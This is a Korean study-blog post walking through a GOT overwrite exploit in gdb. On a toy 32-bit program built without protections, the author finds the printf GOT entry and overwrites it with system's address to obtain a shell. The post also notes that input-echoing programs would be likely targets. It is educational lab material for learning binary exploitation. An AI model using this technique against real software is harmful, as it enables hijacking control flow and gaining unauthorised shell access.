ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • GOT Overwrite 공부 1
    정보보안/포너블 2018. 5. 18. 23:25

    GOT Overwrite 공부 1

    GOT Overwrite란?

    GOT는 PLT가 참조하는, 특정 함수의 시작 주소를 가진 테이블이다.

    이때 GOT 변조를 통해 프로그램에서 호출하려는 함수 대신 다른 함수를 실행하게 할 수 있다.

    공격하기

    이번에는 s0ngsari님 블로그에 나온 대로 공격하도록 하겠다.

    코드가 간단해 보일수록 만만해 보이는 플라시보 효과

    취약점이 있는 코드, 한번 실행해 보기

    #include <stdio.h>
    int main(){
        printf("/bin/sh");
    }
    

    /bin/sh를 출력하는 코드 over.c이다.

    junhoyeo@ubuntu:~/pwn/got-overwrite$ gcc -o over over.c -z execstack -fno-stack-protector -m32
    junhoyeo@ubuntu:~/pwn/got-overwrite$ ./over
    /bin/shjunhoyeo@ubuntu:~/pwn/got-overwrite$
    

    컴파일 후 실행하면 위와 같이 문자열 /bin/sh를 출력해 준다.

    ㅓㅜㅑ 개행 문자 없이 진짜 딱 그것만 출력해 준다.

    어뜨게 공격해?

    이제 GOT Overwrite 공격을 통해 printf() 대신에 system()을 호출하도록 하면 된다.

    그러면 system("/bin/sh")가 실행되면서 쉘이 따지겠지!!

    printf()의 PLT 주소 구하기

    junhoyeo@ubuntu:~/pwn/got-overwrite$ gdb -q ./over
    Reading symbols from ./over...(no debugging symbols found)...done.
    (gdb) disass main
    Dump of assembler code for function main:
       0x0804840b <+0>:    lea    0x4(%esp),%ecx
       0x0804840f <+4>:    and    $0xfffffff0,%esp
       0x08048412 <+7>:    pushl  -0x4(%ecx)
       0x08048415 <+10>:    push   %ebp
       0x08048416 <+11>:    mov    %esp,%ebp
       0x08048418 <+13>:    push   %ecx
       0x08048419 <+14>:    sub    $0x4,%esp
       0x0804841c <+17>:    sub    $0xc,%esp
       0x0804841f <+20>:    push   $0x80484c0
       0x08048424 <+25>:    call   0x80482e0 <printf@plt>
       0x08048429 <+30>:    add    $0x10,%esp
       0x0804842c <+33>:    mov    $0x0,%eax
       0x08048431 <+38>:    mov    -0x4(%ebp),%ecx
       0x08048434 <+41>:    leave  
       0x08048435 <+42>:    lea    -0x4(%ecx),%esp
       0x08048438 <+45>:    ret    
    End of assembler dump.
    

    main+25에서 printf()의 PLT 주소가 보인다.

    0x08048424 <+25>:    call   0x80482e0 <printf@plt>
    

    바로 0x80482e0!!!

    GOT 주소 찾기

    (gdb) disass 0x80482e0
    Dump of assembler code for function printf@plt:
       0x080482e0 <+0>:    jmp    *0x804a00c
       0x080482e6 <+6>:    push   $0x0
       0x080482eb <+11>:    jmp    0x80482d0
    End of assembler dump.
    

    이제 PLT를 디스어셈블해보면 GOT 주소인 *0x804a00c를 찾을 수 있다.

    system() 함수 위치 구하기

    (gdb) p system
    $2 = {<text variable, no debug info>} 0xb7e45d80 <__libc_system>
    

    이제 system()으로 바꿔줘야 하니까 함수 주소를 구해준다.

    지난번에 했던 방법 그대로 쓰면 된다.

    공격 성공


    헉...! 정말 너무 간단하다... 진짜 GOT의 주소를 set *0x804a00c = 0xb7e45d80으로 system() 함수의 주소로 바꿔주기만 하면... 된다... 쩐다...

    ssh 환경이 제공되면 gdb를 사용해서 이 공격을 쉽게 할 수 있을 것 같은데,

    만약 netcat이면 어떻게 하지...? 뭔가 엄청 복잡해 보인다.

    이 공격이 아직까지 공부한 것 중 (그나마) 가장 쉽고 재미있는 것 같은데 다른 예제 몇 개를 더 공부해 봐야겠다.

    실제로 이 예제처럼 printf("/bin/sh");가 있는 프로그램은 절대 없을 테니, 이러한 공격을 사용하기 가장 좋은 프로그램은 사용자에게 문자열을 입력받아서 그대로 출력하는 기능을 가진 녀석이 될 것 같다.

    그럼 출력하는 부분을 system()으로 바꿔주고 /bin/sh처럼 실행할 명령어를 입력하면 되니까!

    맨날 터미널 스샷을 찍다가 이번에는 carbon을 사용했는데 엄청 이쁘다.

    앞으로도 carbon으로 올려야겠다.

    '정보보안 > 포너블' 카테고리의 다른 글

    DIMICTF 2017 RIDDLE  (0) 2018.05.21
    GOT Overwrite 공부 2  (0) 2018.05.20
    RTL Chaining 공부 1  (0) 2018.05.18
    pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기  (0) 2018.05.17
    RTL 공부 1  (0) 2018.05.17

    댓글

Designed by Tistory